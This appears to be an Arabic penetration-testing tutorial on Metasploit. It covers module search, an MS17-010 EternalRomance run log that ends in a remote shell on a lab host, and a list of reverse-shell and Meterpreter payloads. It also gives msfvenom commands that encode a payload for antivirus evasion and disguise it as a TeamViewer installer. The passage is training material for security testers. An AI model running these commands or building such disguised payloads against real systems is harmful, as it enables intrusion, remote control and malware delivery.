> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/hacking-tools/exploitation/metasploit.md).

# Metasploit

## Metasploit:

{% hint style="info" %}
Metasploit هي منصة مفتوحة المصدر لاختبار الاختراق، ويستخدمها على نطاق واسع المتخصصون في أمن تقنية المعلومات لتقييم قابلية أنظمة المعلومات للاستغلال. وهي توفر مجموعة من الأدوات والموارد لاكتشاف الثغرات الأمنية واستغلالها وتأمينها في الشبكات وأنظمة التشغيل والتطبيقات وغيرها من مكونات تقنية المعلومات. باختصار، Metasploit إطار عمل شامل لإجراء اختبار الاختراق والتدقيق الأمني.
{% endhint %}

افتراضيًا، يمكن العثور على جميع الملفات الأساسية المتعلقة بـ Metasploit Framework `/usr/share/metasploit-framework`

## سير عمل Metasploit

1. حدِّد الخدمة المكشوفة، والإصدار، والمنصة، والثغرة المحتملة قبل اختيار الوحدة.
2. ابحث عن الوحدات حسب الخدمة وCVE والمنصة والنوع والتصنيف والاسم، ثم راجع معلومات الوحدة والمراجع.
3. اضبط خيارات الهدف وخيارات الحمولة وعناوين المستمع وتحديد الهدف باستخدام أصغر إعداد موثوق.
4. شغّل الفحوصات حيثما كانت متاحة، ونفّذ الوحدات المؤكدة فقط، واحتفظ بمخرجات الوحدة لأغراض التقرير.
5. أدر الجلسات ومساحات العمل والغنائم وبيانات الاعتماد والخدمات والمضيفين عبر قاعدة بيانات Metasploit عندما يتسع نطاق التقييم.

### **الوحدات:**

الوحدات الموضحة أعلاه مقسّمة إلى فئات مميزة في هذا الملف. سنفصلها في الأقسام التالية. وهي موجودة في المجلدات التالية:<br>

<figure><img src="/files/f00eac715f5de3b0e6fe31b6c27ea54a3fa96c9e" alt=""><figcaption></figcaption></figure>

### **الإضافات:**

تمنح الإضافات مختبر الاختراق مرونة أكبر عند استخدامها `msfconsole`إذ يمكن تحميلها يدويًا أو تلقائيًا بسهولة حسب الحاجة لتوفير وظائف إضافية وأتمتة أثناء تقييمنا.

<div data-full-width="true"><figure><img src="/files/93dfe9c9b56331b6bb31f3b9a749df6690b641e2" alt=""><figcaption></figcaption></figure></div>

### السيناريوهات:

وظائف Meterpreter وبرامج نصية مفيدة أخرى.

<figure><img src="/files/bae5ab9549dc3e3200ccfd6e2a9d19e7e5f2bfdd" alt="" width="471"><figcaption></figcaption></figure>

### **الأدوات:**

أدوات سطر أوامر يمكن استدعاؤها مباشرة من `msfconsole`القائمة

<div data-full-width="true"><figure><img src="/files/0b30f9212703e2d3b7a7625d4384773a110f0c17" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="/files/fc80f7749f7491daaa88c77de98b6fa4bf78adea" alt=""><figcaption></figcaption></figure>

### بنية تفاعل MSF

يمكن تقسيم بنية تفاعل MSF إلى خمس فئات رئيسية.

* الاستكشاف
* التحضير
* الاستغلال
* تصعيد الامتيازات
* ما بعد الاستغلال

{% hint style="info" %}
هذا التقسيم يجعل من الأسهل علينا العثور على ميزات MSF المناسبة واختيارها بطريقة أكثر تنظيماً والعمل معها وفقًا لذلك. ولكل فئة من هذه الفئات فئات فرعية مختلفة مخصصة لأغراض محددة. وتشمل هذه، على سبيل المثال، التحقق من الخدمات والبحث عن الثغرات.
{% endhint %}

<figure><img src="/files/85599e8bed72f78314f85dc6c135ce47a5e3e18f" alt=""><figcaption></figcaption></figure>

## **المكونات**

### ابحث عن الوحدات:

#### بمجرد أن نكون في `msfconsole`، يمكننا الاختيار من قائمة طويلة تحتوي على جميع وحدات Metasploit المتاحة. وكل منها منظَّم في مجلدات، والتي ستبدو بهذا الشكل:

**الصياغة:**

```bash
<الرقم> <النوع>/<نظام التشغيل>/<الخدمة>/<الاسم>
```

**مثال**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **الرقم:**

الـ `الرقم`سيُعرض الوسم لاختيار الاستغلال الذي نريده لاحقًا أثناء عمليات البحث. وسنرى `الرقم`لاحقًا مدى فائدة الوسم في اختيار وحدات Metasploit المحددة.

2. **النوع:**

| النوع:             | **الوصف**                                                                                                     |
| ------------------ | ------------------------------------------------------------------------------------------------------------- |
| `مساعد`            | ميزات الفحص، والتخمين القسري، والكشف، والإدارة. توفر الدعم والوظائف الإضافية.                                 |
| `المرمِّزات`       | تضمن بقاء الحمولات سليمة حتى تصل إلى وجهتها.                                                                  |
| `عمليات الاستغلال` | وحدات تستغل ثغرة لتوصيل الحمولة.                                                                              |
| `NOPs`             | (شفرة لا تعني أي عملية) تحافظ على اتساق أحجام الحمولات بين محاولات الاستغلال.                                 |
| `الحمولات`         | يعمل الكود عن بُعد ويعود بالاتصال إلى جهاز المهاجم لإنشاء اتصال أو غلاف.                                      |
| `الإضافات`         | يمكن دمج برامج نصية إضافية في `msfconsole` تقييم وتتعايش.                                                     |
| `ما بعد`           | مجموعة واسعة من الوحدات لجمع المعلومات، والانتقال الجانبي إلى عمق أكبر، ومهام أخرى ذات صلة بما بعد الاستغلال. |

3. **نظام التشغيل:**

الـ `نظام التشغيل`يشير الوسم إلى نظام التشغيل والبنية التي أُنشئت من أجلها الوحدة. وبطبيعة الحال، تتطلب أنظمة التشغيل المختلفة أكوادًا مختلفة ليتم تنفيذها لتحقيق النتائج المطلوبة 4. **الخدمة:**

الـ `الخدمة` يشير الوسم إلى الخدمة الضعيفة التي تعمل على الجهاز الهدف. بالنسبة لبعض الوحدات، مثل `المساعد` أو `ما بعد`، قد يشير هذا الوسم إلى نشاط أكثر عمومية مثل `جمع`، في إشارة إلى جمع بيانات الاعتماد، على سبيل المثال. 5. **الاسم:**

أخيرًا، `الاسم`يوضح الوسم الإجراء الفعلي الذي يمكن تنفيذه باستخدام هذه الوحدة المنشأة لغرض محدد.

**MSF - وظيفة البحث**

على سبيل المثال، يمكننا محاولة العثور على `EternalRomance`الاستغلال لأنظمة Windows القديمة. قد يبدو الأمر هكذا:

`search eternalromance`

<div data-full-width="true"><figure><img src="/files/2d4d38ae0fa1314c78b6f88d2901d3bced2e4f88" alt=""><figcaption></figcaption></figure></div>

### **بحث محدد:**

يمكننا أيضًا أن نجعل بحثنا أكثر عمومية قليلًا ونقصره على فئة واحدة من الخدمات. فعلى سبيل المثال، بالنسبة إلى CVE، يمكننا تحديد السنة (`cve:<السنة>`)، ومنصة Windows (`platform:<نظام_التشغيل>`)، ونوع الوحدة التي نريد العثور عليها (`type:<auxiliary/exploit/post>`)، ورتبة الموثوقية (`rank:<الرتبة>`)، واسم البحث (`<النمط>`). وهذا سيقلل نتائجنا إلى تلك التي تطابق ما سبق كله.

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="/files/116d89b1847153a8eb23491fab2418f132328567" alt=""><figcaption></figcaption></figure></div>

### استخدام الوحدات:

لاختيار أول وحدة لدينا، نحتاج أولًا إلى العثور على واحدة. لنفترض أن لدينا هدفًا يشغّل إصدارًا من SMB ضعيفًا أمام استغلالات EternalRomance (MS17/\_010). وجدنا أن المنفذ 445 الخاص بخادم SMB مفتوح عند فحص الهدف.

**البحث عن MS17/\_010**

`search ms17_010`

<div data-full-width="true"><figure><img src="/files/f5cd8017ba3a33164cef17296ed0701e689d6748" alt=""><figcaption></figcaption></figure></div>

**MSF - اختيار وحدة**

لاستخدام وحدة في Metasploit، أدخل أولًا الأمر `use` متبوعًا برقم الوحدة المطلوب، ثم استخدم الأمر `options` لعرض التفاصيل والإعدادات المتاحة لتلك الوحدة.

```bash
الوحدات المطابقة
================

   #  الاسم                                  تاريخ الإفصاح  الرتبة    الفحص  الوصف
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  Yes    تنفيذ تعليمات SMB عن بُعد على Windows عبر MS17-010 EternalRomance/EternalSynergy/EternalChampion
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  No     تنفيذ أوامر SMB عن بُعد على Windows عبر MS17-010 EternalRomance/EternalSynergy/EternalChampion

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

خيارات الوحدة (exploit/windows/smb/ms17_010_psexec):

   الاسم                  الإعداد الحالي                          مطلوب  الوصف
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    yes       إظهار معلومات تتبع تصحيح إضافية
   LEAKATTEMPTS          99                                       yes       عدد مرات محاولة تسريب المعاملة
   NAMEDPIPE                                                      no        أنبوب مسمّى يمكن الاتصال به (اتركه فارغًا للاختيار التلقائي)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       قائمة الأنابيب المسماة المراد فحصها
                         rdlists/named_pipes.txt
   RHOSTS                                                         yes       المضيف(ون) الهدف، راجع https://github.com/rapid7/metasploit-framework
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                      yes       منفذ الهدف (TCP)
   SERVICE_DESCRIPTION                                            no        وصف الخدمة المراد استخدامه على الهدف لأجل عرض جميل
   اسم عرض الخدمة
   اسم الخدمة
   SHARE                 ADMIN$                                   yes       المشاركة المراد الاتصال بها، ويمكن أن تكون مشاركة إدارية (ADMIN$,C$,...) أو مشاركة مجلد عادية no
                                                                            مشاركة مجلد للقراءة/الكتابة عادية
   SMBDomain             .                                        no        نطاق Windows المراد استخدامه للمصادقة
   SMBPass                                                        no        كلمة المرور لاسم المستخدم المحدد
   SMBUser                                                        no        اسم المستخدم للمصادقة

خيارات الحمولة (windows/meterpreter/reverse_tcp):

   الاسم      الإعداد الحالي  مطلوب  الوصف
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       تقنية الخروج (المقبول: '', seh, thread, process, none)
   LHOST                      yes       عنوان الاستماع (يمكن تحديد واجهة)
   LPORT     4444             yes       منفذ الاستماع

الهدف المراد استغلاله:

   المعرّف  الاسم
   --  ----
   0   تلقائي
```

**معلومات الوحدة**

يمكننا استخدام الأمر `info`بعد اختيار الوحدة إذا أردنا معرفة المزيد عنها. سيمنحنا ذلك سلسلة من المعلومات التي قد تكون مهمة لنا.

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       الاسم: تنفيذ تعليمات SMB عن بُعد على Windows عبر MS17-010 EternalRomance/EternalSynergy/EternalChampion
     الوحدة: exploit/windows/smb/ms17_010_psexec
   المنصة: Windows
       البنية: x86, x64
 متميز: لا
    الترخيص: Metasploit Framework License (BSD)
       الرتبة: عادي
  تم الإفصاح: 2017-03-14

مقدَّم بواسطة:
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

الأهداف المتاحة:
  المعرّف  الاسم
  --  ----
  0   تلقائي
  1   PowerShell
  2   رفع أصلي
  3   رفع MOF

الفحص مدعوم:
  نعم

الخيارات الأساسية:
  الاسم                  الإعداد الحالي                          مطلوب  الوصف
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                                    yes       إظهار معلومات تتبع تصحيح إضافية
  LEAKATTEMPTS          99                                       yes       عدد مرات محاولة تسريب المعاملة
  NAMEDPIPE                                                      no        أنبوب مسمّى يمكن الاتصال به (اتركه فارغًا للاختيار التلقائي)
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       قائمة الأنابيب المسماة المراد فحصها
                        rdlists/named_pipes.txt
  RHOSTS                                                         yes       المضيف(ون) الهدف، راجع https://github.com/rapid7/metasploit-framework/
                                                                           wiki/Using-Metasploit
  RPORT                 445                                      yes       منفذ الهدف (TCP)
  SERVICE_DESCRIPTION                                            no        وصف الخدمة المراد استخدامه على الهدف لأجل عرض جميل
  اسم عرض الخدمة
  اسم الخدمة
  SHARE                 ADMIN$                                   yes       المشاركة المراد الاتصال بها، ويمكن أن تكون مشاركة إدارية (ADMIN$,C$,...) أو مشاركة مجلد عا
                                                                           دية للقراءة/الكتابة
  SMBDomain             .                                        no        نطاق Windows المراد استخدامه للمصادقة
  SMBPass                                                        no        كلمة المرور لاسم المستخدم المحدد
  SMBUser                                                        no        اسم المستخدم للمصادقة

معلومات الحمولة:
  المساحة: 3072

الوصف:
  ستستغل هذه الوحدة SMB باستخدام الثغرات في MS17-010 لتحقيق
  قدرة كتابة ما - حيثما. ثم سيُستخدم ذلك من أجل
  الكتابة فوق معلومات جلسة الاتصال باعتبارها
  جلسة Administrator. ومن هناك، يتم تنفيذ كود الحمولة psexec العادي
  . تستغل هذه الوحدة خلطًا بين Transaction و
  طلبات WriteAndX وحالة سباق في طلبات Transaction، كما
  هو الحال في استغلالات EternalRomance وEternalChampion وEternalSynergy
  . سلسلة الاستغلال هذه أكثر موثوقية من استغلال EternalBlue
  ، لكنها تتطلب أنبوبًا مسمّى.

المراجع:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

يُعرف أيضًا باسم:
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**تحديد الهدف**

بمجرد أن نكون واثقين من أن الوحدة المختارة هي المناسبة لغرضنا، نحتاج إلى تحديد بعض المواصفات لتخصيص الوحدة لاستخدامها بنجاح على المضيف الهدف، مثل ضبط الهدف ( `RHOST`أو `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

بالإضافة إلى ذلك، هناك `setg` الخيار، الذي يحدد الخيارات التي اخترناها على أنها دائمة حتى تتم إعادة تشغيل البرنامج.

<figure><img src="/files/8f32fe14a37a6900f14fbdbc4e6850610ab9a76a" alt=""><figcaption></figcaption></figure>

**تشغيل الاستغلالات**

بمجرد أن يصبح كل شيء مُعدًا وجاهزًا، يمكننا المضي قدمًا لبدء الهجوم. الأمر: `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] تم بدء معالج TCP العكسي على 10.10.14.15:4444
[*] 10.10.10.40:445 - استخدام auxiliary/scanner/smb/smb_ms17_010 كفحص
[+] 10.10.10.40:445       - من المحتمل أن يكون المضيف قابلًا للاستغلال بواسطة MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - تم فحص 1 من 1 مضيفين (اكتمل 100%)
[*] 10.10.10.40:445 - الاتصال بالهدف من أجل الاستغلال.
[+] 10.10.10.40:445 - تم إنشاء الاتصال للاستغلال.
[+] 10.10.10.40:445 - تم اختيار نظام الهدف بشكل صحيح وفقًا لنظام التشغيل المشار إليه في رد SMB
[*] 10.10.10.40:445 - تفريغ خام CORE للذاكرة المؤقتة (42 بايت)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - تم اختيار بنية الهدف بشكل صحيح وفقًا للبنية المشار إليها في رد DCE/RPC
[*] 10.10.10.40:445 - محاولة الاستغلال مع 12 تخصيص Groom.
[*] 10.10.10.40:445 - إرسال كل أجزاء حزمة الاستغلال باستثناء الجزء الأخير
[*] 10.10.10.40:445 - بدء تجميل الذاكرة غير المُقسّمة إلى صفحات
[+] 10.10.10.40:445 - إرسال مخازن SMBv2
[+] 10.10.10.40:445 - إغلاق اتصال SMBv1 ما ينشئ فجوة حرة مجاورة لمخزن SMBv2.
[*] 10.10.10.40:445 - إرسال مخازن SMBv2 النهائية.
[*] 10.10.10.40:445 - إرسال الجزء الأخير من حزمة الاستغلال!
[*] 10.10.10.40:445 - استقبال الرد من حزمة الاستغلال
[+] 10.10.10.40:445 - اكتملت عملية الكتابة فوق ETERNALBLUE بنجاح (0xC000000D)!
[*] 10.10.10.40:445 - إرسال egg إلى الاتصال التالف.
[*] 10.10.10.40:445 - تحفيز تحرير المخزن التالف.
[*] تم فتح جلسة غلاف الأوامر 1 (10.10.14.15:4444 -> 10.10.10.40:49158) في 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## الأهداف

### **إظهار الأهداف:**

الـ `show targets`سيعرض الأمر الصادر في عرض وحدة الاستغلال جميع الأهداف الضعيفة المتاحة لذلك الاستغلال المحدد. إذا تركت التحديد على `تلقائي`فإن msfconsole ستعرف أنها تحتاج إلى إجراء اكتشاف للخدمة على الهدف المعطى قبل إطلاق هجوم ناجح.

<figure><img src="/files/60dda20af4a3c0e24347bfecafdd134a420aba19" alt=""><figcaption></figcaption></figure>

ومع ذلك، إذا كنا نعرف الإصدارات التي تعمل على هدفنا، فيمكننا استخدام `set target <رقم_الفهرس>`الأمر لاختيار هدف من القائمة.

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6
```

### الحمولات:

{% hint style="info" %}
في `الحمولة` في Metasploit، تساعد الوحدة وحدة الاستغلال على إرجاع (عادةً) `غلاف` إلى المهاجم. تُرسل الحمولات مع الاستغلال نفسه لتجاوز الإجراءات التشغيلية القياسية للخدمة الضعيفة (وهو عمل الاستغلال)، ثم تُشغَّل على نظام التشغيل الهدف لإرجاع اتصال عكسي عادةً إلى المهاجم وإنجاز عمل الحمولة.
{% endhint %}

هناك ثلاثة أنواع مختلفة من وحدات الحمولة في إطار عمل Metasploit: Single وStager وStage.

1. **الحمولات الفردية** :

> تحتوي الحمولة البسيطة على كل الشيفرة اللازمة للاستغلال والتنفيذ في حمولة مستقلة واحدة. وهذا يجعلها أكثر استقرارًا، لأنه لا يوجد سوى عنصر واحد للتنفيذ. ومع ذلك، قد تكون محدودة بالحجم، لأن بعض الهجمات لا تدعم حمولات كبيرة جدًا. وهي مثالية للإجراءات الفورية، مثل إضافة مستخدم أو بدء عملية على الهدف.

2. **الحمولات الأولية:**

> تعمل حمولات Stager مع حمولات Stage عبر تقسيم التحميل إلى مراحل متعددة. يوجد Stager على نظام المهاجم ويبدأ الاتصال الشبكي مع الهدف عندما تُنفذ المرحلة على الجهاز البعيد. وهي مصممة لتكون صغيرة وموثوقة، مما يسهل إنشاء الاتصالات. كما تتوفر حمولات Windows الأولية أيضًا بإصداري "NX" (للتوافق مع حماية DEP) و"NO-NX"، حيث يكون NX أكبر حجمًا لكنه مناسب للأنظمة الحديثة.

3. **حمولات المرحلة**:

> حمولات المرحلة هي مكونات يرفعها Stager لوظائف متقدمة ومن دون قيود على الحجم. وهي تُستخدم للحمولات المعقدة مثل Meterpreter أو حقن VNC. ولتقليل الأخطاء، تستخدم المراحل حوامل ابتدائية وسيطة لضمان استقرار الرفع. وهي مناسبة بشكل خاص للهجمات متعددة المراحل التي تتطلب تدفق بيانات موثوقًا ومستمرًا.

### الحمولات المرحلية:

**الحمولات في مراحل**

بصفتنا مستخدمًا لـ Metasploit، سنصادفها تحت الأسماء الشائعة `reverse_tcp`, `reverse_https`، و `bind_tcp`. على سبيل المثال، ضمن `show payloads`الأمر، يمكنك البحث عن حمولات تبدو مثل الآتي:

<figure><img src="/files/5ec11df6cfa34abe99fba5c3da56aacf5af39e4a" alt=""><figcaption></figcaption></figure>

### **حمولات Meterpreter:**

`Meterpreter` هي حمولة متقدمة تستخدم حقن DLL لإنشاء اتصال مستقر ودائم، بالكامل في الذاكرة، مما يجعل اكتشافها صعبًا. وهي تتيح لك تحميل البرامج النصية والإضافات ديناميكيًا. وبمجرد تشغيلها، تفتح جلسة توفر أوامر محددة للتحكم في النظام الهدف: `التقاط ضغطات المفاتيح، واستعادة كلمات المرور، والاستماع إلى الميكروفون، والمزيد.`

### البحث عن الحمولات:

لاختيار أول حمولة لدينا، نحتاج إلى معرفة ما نريد فعله على الجهاز الهدف. على سبيل المثال، إذا كنا نسعى إلى إبقاء الوصول مستمرًا، فسنرغب على الأرجح في اختيار حمولة Meterpreter.

من خلال تصفح القائمة أعلاه، نجد القسم الذي يحتوي على `حمولات Meterpreter لويندوز (x64)`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   518  windows/x64/meterpreter/bind_tcp                                     manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   519  windows/x64/meterpreter/bind_tcp_rc4                                 manual  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                                manual  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   521  windows/x64/meterpreter/reverse_http                                 manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   522  windows/x64/meterpreter/reverse_https                                manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                           manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   524  windows/x64/meterpreter/reverse_tcp                                  manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   525  windows/x64/meterpreter/reverse_tcp_rc4                              manual  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                             manual  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                              manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                             manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   529  windows/x64/meterpreter_bind_named_pipe                              manual  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   530  windows/x64/meterpreter_bind_tcp                                     manual  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   531  windows/x64/meterpreter_reverse_http                                 manual  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   532  windows/x64/meterpreter_reverse_https                                manual  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             manual  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp                                  manual  No     Windows Meterpreter Shell, Reverse TCP Inline x64
</code></pre>

### **البحث عن حمولة محددة:**

يمكننا أيضًا استخدام `grep`للتصفية بحسب مصطلحات محددة. وهذا سيُسرِّع البحث، وبالتالي اختيارنا.

```bash
grep meterpreter show payloads
```

<figure><img src="/files/887be40f38f357e06ef379548b45af94adaf81a7" alt=""><figcaption></figcaption></figure>

يمكننا الآن إضافة `grep`أمر آخر بعد الأول والبحث عن `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="/files/1489040fc2569e188ea959fab3ec327a31bdd53b" alt=""><figcaption></figcaption></figure>

### **اختيار الحمولة:**

نستخدم `set payload <الرقم>`فقط بعد اختيار وحدة Exploit في البداية.

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### استخدام الحمولات:

بالنسبة لجزء الاستغلال، سنحتاج إلى تحديد العناصر التالية:

| **المعلمة** | **الوصف**                                |
| ----------- | ---------------------------------------- |
| `RHOSTS`    | عنوان IP للمضيف البعيد، أي الجهاز الهدف. |
| `RPORT`     | منفذ المضيف البعيد.                      |

بالنسبة لجزء الحمولة، سنحتاج إلى تحديد العناصر التالية:

| **المعلمة** | **الوصف**                                                       |
| ----------- | --------------------------------------------------------------- |
| `LHOST`     | عنوان IP للمضيف، أي جهاز المهاجم.                               |
| `LPORT`     | عادةً لا يحتاج إلى تعديل؛ تحقّق من أن المنفذ غير مستخدم بالفعل. |

### أنواع الحمولات:

| **الحمولة**                       | **الوصف**                                                            |
| --------------------------------- | -------------------------------------------------------------------- |
| `generic/custom`                  | مستمع عام متعدد الأغراض                                              |
| `generic/shell_bind_tcp`          | مستمع عام متعدد الأغراض، غلاف عادي، اتصال TCP bind                   |
| `generic/shell_reverse_tcp`       | مستمع عام متعدد الأغراض، غلاف عادي، اتصال TCP عكسي                   |
| `windows/x64/exec`                | ينفّذ أمرًا عشوائيًا (Windows x64)                                   |
| `windows/x64/loadlibrary`         | يحمّل مسار مكتبة x64 عشوائيًا                                        |
| `windows/x64/messagebox`          | ينشئ مربع حوار عبر MessageBox مع عنوان ونص وأيقونة قابلة للتخصيص     |
| `windows/x64/shell_reverse_tcp`   | غلاف عادي، حمولة واحدة، اتصال TCP عكسي                               |
| `windows/x64/shell/reverse_tcp`   | غلاف عادي، المُحمِّل الأوّلي بالإضافة إلى المرحلة، اتصال TCP عكسي    |
| `windows/x64/shell/bind_ipv6_tcp` | غلاف عادي، المُحمِّل الأوّلي بالإضافة إلى المرحلة، رابط TCP عبر IPv6 |
| `windows/x64/meterpreter/$`       | حمولة Meterpreter بالإضافة إلى الأنواع المذكورة أعلاه                |
| `windows/x64/powershell/$`        | جلسات PowerShell تفاعلية بالإضافة إلى الأنواع المذكورة أعلاه         |
| `windows/x64/vncinject/$`         | خادم VNC (حقن انعكاسي) بالإضافة إلى الأنواع المذكورة أعلاه           |

## المرمِّزات

{% hint style="info" %}
على مدى السنوات الـ 15 التي وُجد فيها إطار Metasploit، `المرمِّزات`ساعدنا في جعل الحمولات متوافقة مع معماريات المعالجات المختلفة مع المساهمة في التهرب من برامج مكافحة الفيروسات. `المرمِّزات`يأتي دوره في تعديل الحمولة لتعمل على أنظمة تشغيل ومعماريات مختلفة. وتشمل هذه المعماريات:
{% endhint %}

| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### اختيار مُرمِّز:

> إذا أردنا إنشاء حمولة مخصصة بنا، فيمكننا فعل ذلك عبر `msfpayload`، لكن سيتعين علينا ترميزها وفقًا لبنية نظام التشغيل الهدف باستخدام `msfencode`بعد ذلك. ستأخذ قناة خرج أمرٍ ما وترسله إلى التالي، والذي سينشئ حمولة مُرمَّزة وجاهزة للإرسال والتنفيذ على الجهاز الهدف.

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="/files/cdb61a6d476efe71265b6fc29899854d55d61776" alt=""><figcaption></figcaption></figure>

### **إنشاء الحمولة - بدون ترميز:**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

ينبغي علينا الآن النظر إلى السطر الأول من `$buf`ورؤية كيف يتغير عند تطبيق مُرمِّز مثل `shikata_ga_nai`.

<figure><img src="/files/4536d2107b252224f127d11a46e7e236371b7e86" alt=""><figcaption></figcaption></figure>

### **إنشاء الحمولة - مع الترميز:**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="/files/8a2fb1fa6efb759aa6bdfa3ce697676b93ccd96a" alt=""><figcaption></figcaption></figure>

### **ترميز Shikata Ga Nai:**

> لنأخذ المثال أعلاه كما هو، كمثال افتراضي. إذا قمنا بترميز حمولة تنفيذية مرةً واحدة فقط باستخدام SGN، فغالبًا ما ستكتشفها معظم مضادات الفيروسات الحالية. لننظر إلى ذلك لحظة. عند أخذ `msfvenom`، فإن فهرس الإطار الذي يتعامل مع توليد الحمولات ومخططات الترميز لدينا الإدخال التالي:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/4a6fd66d3ffa4c11f7722dfd1737799d44b56b98" alt="" width="563"><figcaption></figcaption></figure>

سيؤدي هذا إلى إنشاء حمولة بتنسيق `exe`TeamViewerInstall.exe، والتي من المفترض أن تعمل على معالجات ببنية x86 لمنصة Windows، مع حمولة Meterpreter shell عكسية مخفية، ومُرمَّزة مرة واحدة بمخطط Shikata Ga Nai. لنأخذ النتيجة ونرفعها إلى VirusTotal.

<figure><img src="/files/5984c0fc4ca24bba438480fd21dedb9f0bdae3dd" alt=""><figcaption></figcaption></figure>

الخيار الأفضل سيكون محاولة تشغيلها عبر عدة تكرارات من مخطط الترميز نفسه:

{% code overflow="wrap" %}

```bash
